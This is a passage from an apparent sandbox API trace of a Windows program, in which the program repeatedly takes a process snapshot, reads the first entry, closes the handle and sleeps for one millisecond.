th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.669] CloseHandle (hObject=0x378) returned 1 [0256.669] Sleep (dwMilliseconds=0x1) [0256.771] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0256.776] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.911] CloseHandle (hObject=0x378) returned 1 [0256.912] Sleep (dwMilliseconds=0x1) [0257.003] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0257.119] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.268] CloseHandle (hObject=0x378) returned 1 [0257.268] Sleep (dwMilliseconds=0x1) [0257.401] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0257.405] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.438] CloseHandle (hObject=0x378) returned 1 [0257.438] Sleep (dwMilliseconds=0x1) [0257.518] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0257.522] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.675] CloseHandle (hObject=0x378) returned 1 [0257.675] Sleep (dwMilliseconds=0x1) [0257.801] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0257.808] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.949] CloseHandle (hObject=0x378) returned 1 [0257.949] Sleep (dwMilliseconds=0x1) [0258.044] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0258.049] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.219] CloseHandle (hObject=0x378) returned 1 [0258.219] Sleep (dwMilliseconds=0x1) [0258.306] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0258.310] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.452] CloseHandle (hObject=0x378) returned 1 [0258.452] Sleep (dwMilliseconds=0x1) [0258.522] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0258.529] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0258.700] CloseHandle (hObject=0x378) returned 1 [0258.700] Sleep (dwMilliseconds=0x1) [0258.794] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0258.798] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.254] CloseHandle (hObject=0x378) returned 1 [0259.254] Sleep (dwMilliseconds=0x1) [0259.426] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0259.432] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.829] CloseHandle (hObject=0x378) returned 1 [0259.829] Sleep (dwMilliseconds=0x1) [0260.119] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0260.125] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.429] CloseHandle (hObject=0x378) returned 1 [0260.429] Sleep (dwMilliseconds=0x1) [0260.796] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0260.801] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.376] CloseHandle (hObject=0x378) returned 1 [0261.376] Sleep (dwMilliseconds=0x1) [0261.490] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0261.495] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.754] CloseHandle (hObject=0x378) returned 1 [0261.754] Sleep (dwMilliseconds=0x1) [0262.004] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0262.008] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.384] CloseHandle (hObject=0x378) returned 1 [0262.384] Sleep (dwMilliseconds=0x1) [0262.503] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0262.508] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.690] CloseHandle (hObject=0x378) returned 1 [0262.690] Sleep (dwMilliseconds=0x1) [0262.794] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0262.798] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.910] CloseHandle (hObject=0x378) returned 1 [0262.910] Sleep (dwMilliseconds=0x1) [0262.988] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0262.992] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.272] CloseHandle (hObject=0x378) returned 1 [0263.272] Sleep (dwMilliseconds=0x1) [0263.333] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0263.337] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.453] CloseHandle (hObject=0x378) returned 1 [0263.453] Sleep (dwMilliseconds=0x1) [0263.519] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0263.524] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.634] CloseHandle (hObject=0x378) returned 1 [0263.634] Sleep (dwMilliseconds=0x1) [0263.697] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0263.705] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.807] CloseHandle (hObject=0x378) returned 1 [0263.807] Sleep (dwMilliseconds=0x1) [0263.876] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0263.881] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.002] CloseHandle (hObject=0x378) returned 1 [0264.002] Sleep (dwMilliseconds=0x1) [0264.065] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0264.072] Process32First (in: hSnapshot=0x378, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.158] CloseHandle (hObject=0x378) returned 1 [0264.158] Sleep (dwMilliseconds=0x1) [0264.341] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0264.347] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.425] CloseHandle (hObject=0x35c) [0264.425] CloseHandle (hObject=0x35c) returned 1 [0264.425] Sleep (dwMilliseconds=0x1) [0264.537] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0264.561] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.630] CloseHandle (hObject=0x35c) returned 1 [0264.630] Sleep (dwMilliseconds=0x1) [0264.717] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0264.722] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.848] CloseHandle (hObject=0x398) returned 1 [0264.849] Sleep (dwMilliseconds=0x1) [0264.890] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0264.893] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.106] CloseHandle (hObject=0x35c) returned 1 [0265.106] Sleep (dwMilliseconds=0x1) [0265.190] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0265.195] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0265.839] CloseHandle (hObject=0x35c) returned 1 [0265.839] Sleep (dwMilliseconds=0x1) [0265.907] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0265.916] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.055] CloseHandle (hObject=0x35c) returned 1 [0266.055] Sleep (dwMilliseconds=0x1) [0266.341] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0266.346] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.486] CloseHandle (hObject=0x35c) returned 1 [0266.487] Sleep (dwMilliseconds=0x1) [0266.678] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0266.688] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.005] CloseHandle (hObject=0x398) returned 1 [0267.005] Sleep (dwMilliseconds=0x1) [0267.107] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0267.112] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.322] CloseHandle (hObject=0x398) returned 1 [0267.322] Sleep (dwMilliseconds=0x1) [0267.406] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0267.411] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.502] CloseHandle (hObject=0x35c) returned 1 [0267.502] Sleep (dwMilliseconds=0x1) [0267.532] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0267.537] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.803] CloseHandle (hObject=0x35c) returned 1 [0267.803] Sleep (dwMilliseconds=0x1) [0268.185] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0268.193] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.409] CloseHandle (hObject=0x35c) returned 1 [0268.409] Sleep (dwMilliseconds=0x1) [0268.484] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0268.489] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.602] CloseHandle (hObject=0x35c) returned 1 [0268.602] Sleep (dwMilliseconds=0x1) [0268.810] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0268.816] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.928] CloseHandle (hObject=0x35c) returned 1 [0268.928] Sleep (dwMilliseconds=0x1) [0269.590] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0269.594] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.826] CloseHandle (hObject=0x35c) returned 1 [0269.827] Sleep (dwMilliseconds=0x1) [0269.845] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0269.850] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.103] CloseHandle (hObject=0x35c) returned 1 [0270.103] Sleep (dwMilliseconds=0x1) [0270.157] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0270.161] Process32First (in: hSnapshot=0x394, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.327] CloseHandle (hObject=0x394) returned 1 [0270.327] Sleep (dwMilliseconds=0x1) [0270.376] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0270.381] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.458] CloseHandle (hObject=0x398) returned 1 [0270.458] Sleep (dwMilliseconds=0x1) [0270.483] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0270.488] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.583] CloseHandle (hObject=0x398) returned 1 [0270.583] Sleep (dwMilliseconds=0x1) [0270.610] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0270.614] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.656] CloseHandle (hObject=0x398) returned 1 [0270.656] Sleep (dwMilliseconds=0x1) [0270.735] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0270.889] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.839] CloseHandle (hObject=0x398) returned 1 [0275.839] Sleep (dwMilliseconds=0x1) [0275.931] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0275.936] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.975] CloseHandle (hObject=0x398) returned 1 [0275.975] Sleep (dwMilliseconds=0x1) [0276.078] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0276.083] Process32First (in: hSnapshot=0x308, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.756] CloseHandle (hObject=0x308) returned 1 [0276.756] Sleep (dwMilliseconds=0x1) [0276.970] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0276.975] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.091] CloseHandle (hObject=0x35c) returned 1 [0277.091] Sleep (dwMilliseconds=0x1) [0277.179] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0277.188] Process32First (in: hSnapshot=0x308, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.360] CloseHandle (hObject=0x308) returned 1 [0277.361] Sleep (dwMilliseconds=0x1) [0277.434] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0277.439] Process32First (in: hSnapshot=0x308, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.610] CloseHandle (hObject=0x308) returned 1 [0277.610] Sleep (dwMilliseconds=0x1) [0277.686] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0277.691] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.941] CloseHandle (hObject=0x35c) returned 1 [0277.941] Sleep (dwMilliseconds=0x1) [0278.027] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0278.032] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.256] CloseHandle (hObject=0x35c) returned 1 [0278.257] Sleep (dwMilliseconds=0x1) [0278.437] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0278.443] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.679] CloseHandle (hObject=0x35c) returned 1 [0278.679] Sleep (dwMilliseconds=0x1) [0278.839] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0278.846] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.002] CloseHandle (hObject=0x35c) returned 1 [0279.002] Sleep (dwMilliseconds=0x1) [0279.064] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0279.069] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.163] CloseHandle (hObject=0x398) returned 1 [0279.163] Sleep (dwMilliseconds=0x1) [0279.289] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0279.297] Process32First (in: hSnapshot=0x398, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.381] CloseHandle (hObject=0x398) returned 1 [0279.381] Sleep (dwMilliseconds=0x1) [0279.432] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0279.438] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, 